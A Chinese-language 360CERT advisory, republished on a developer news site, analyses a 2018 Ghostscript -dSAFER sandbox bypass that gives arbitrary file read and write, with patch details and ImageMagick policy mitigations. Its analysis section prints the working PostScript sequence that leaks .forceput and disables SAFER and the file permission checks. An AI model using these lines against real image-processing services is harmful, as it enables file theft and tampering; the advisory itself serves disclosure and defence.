ghostscript任意文件读写漏洞预警分析

栏目: 编程工具 · 发布时间: 7年前

内容简介:报告编号:B6-2018-101001报告来源:360CERT

ghostscript任意文件读写漏洞预警分析

报告编号:B6-2018-101001

报告来源:360CERT

报告作者:360CERT

更新日期:2018-10-10

0x00 漏洞背景

10 月 9号,Tavis Ormandy 通过公开邮件列表(hxxps://bugs.chromium[.]org/p/project-zero/issues/detail?id=1682) ,再次指出 ghostscript 的安全沙箱可以被绕过,通过构造恶意的图片内容,可造成任意文件读写。

ghostscript应用广泛,ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。

在ghostscript中由于以往的安全事件,针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱,此次Taviso发现通过特殊的命令组使得.forceput留存于stack ,通过再注册该命令进行forceput命令的利用,引发任意读写漏洞。

0x01 漏洞影响

version <= 9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6) 之前的版本

官方已给出缓解措施

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94

但尚无release版本发布

漏洞导致所有引用ghostscript的上游应用受到影响。 常见应用如下:

  • imagemagick
  • libmagick
  • graphicsmagick
  • gimp
  • python-matplotlib
  • texlive-core
  • texmacs
  • latex2html
  • latex2rtf

0x02 漏洞分析

<dict> <key> <value> .forceput - Equivalent to put, but works even if dict is not writable, and (if dict is systemdict or the current save level is 0) even if dict is in global VM and key and/or value is in local VM. This operator should be used only initialization code, and only in executeonly procedures: it must not be accessible after initialization.

官方对.forceput的使用介绍,能够强制更新dict中的值。

这次的漏洞主要原因也就是在触发错误的时候由于构造出.forceput留存在栈中, 然后被注册成命令forceput进而对systemdict进行修改。 最终达到bypass safer以及开启文件读写权限等操作。

核心过程分析 首先利用如下命令访问 switch_to_normal_marking_ops

/pdfopdict null def GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped

触发异常后的栈情况

ghostscript任意文件读写漏洞预警分析 利用如下命令将.forceput 注册成forceput

/forceput $error /command get def

然后即可通过如下正常命令对systemdict进行修改

systemdict /SAFER false forceput systemdict /userparams get /PermitFileControl [(*)] forceput systemdict /userparams get /PermitFileWriting [(*)] forceput systemdict /userparams get /PermitFileReading [(*)] forceputcommit a54c9e61e7d02bbc620bcba9b1c208462a876afb (HEAD) Author: Chris Liddell <chris.liddell@artifex.com>Date:   Sat Sep 29 15:34:55 2018 +0100Bug 699816: Improve hiding of security critical custom operators    Make procedures that use .forceput/.forcedef/.forceundef into operators.    The result of this is that errors get reported against the "top" operator,    rather than the "called" operator within the procedure.    For example:    /myproc    {      myop    } bind def    If 'myop' throws an error, the error handler will be passed the 'myop'    operator. Promoting 'myproc' to a operator means the error handler will be    passed 'myproc'.

在这次更新中对该问题进行了修复

ghostscript任意文件读写漏洞预警分析

在注册的时候都以odef注册成特殊的运算符使其无法被利用

0x03 利用效果

在9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6)依旧work

ghostscript任意文件读写漏洞预警分析

ghostscript任意文件读写漏洞预警分析

php ImageMagick demo

ghostscript任意文件读写漏洞预警分析

ghostscript任意文件读写漏洞预警分析

0x04 缓解措施

目前官方已给出缓解措施,建议更新ghostscript。至少需要到(a54c9e61e7d02bbc620bcba9b1c208462a876afb)之后的版本

若无法更新可先尝试禁用使用gs解析ps文件

使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在 <policymap> 中加入以下

<policy>(即禁用 PS、EPS、PDF、XPS coders):

< policymap > < policy domain = "coder" rights = "none" pattern = "PS" /> < policy domain = "coder" rights = "none" pattern = "EPS" /> < policy domain = "coder" rights = "none" pattern = "PDF" /> < policy domain = "coder" rights = "none" pattern = "XPS" /> </ policymap >

0x05 时间线

2018-09-28 taviso提交漏洞

2018-10-09 漏洞信息公开

2018-10-10 360CERT对漏洞分析跟进,发布预警分析

0x06 参考链接

  1. 邮件列表
  2. gs官方文档
  3. patch diff详情

声明:本文来自安全内参,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如需转载,请联系原作者获取授权。


以上所述就是小编给大家介绍的《ghostscript任意文件读写漏洞预警分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

颠覆式创新:移动互联网时代的生存法则

颠覆式创新:移动互联网时代的生存法则

李善友 / 机械工业出版社 / 2014-12-1 / 69

为什么把每件事情都做对了,仍有可能错失城池?为什么无人可敌的领先企业,却在一夜之间虎落平阳? 短短三年间诺基亚陨落,摩托罗拉区区29亿美元出售给联想,芯片业霸主英特尔在移动芯片领域份额几乎为零,风光无限的巨头转眼成为被颠覆的恐龙,默默无闻的小公司一战成名迅速崛起,令人瞠目结舌的现象几乎都被“颠覆式创新”法则所解释。颠覆式创新教你在新的商业竞争中“换操作系统”而不是“打补丁”,小公司用破坏性思......一起来看看 《颠覆式创新:移动互联网时代的生存法则》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

html转js在线工具
html转js在线工具

html转js在线工具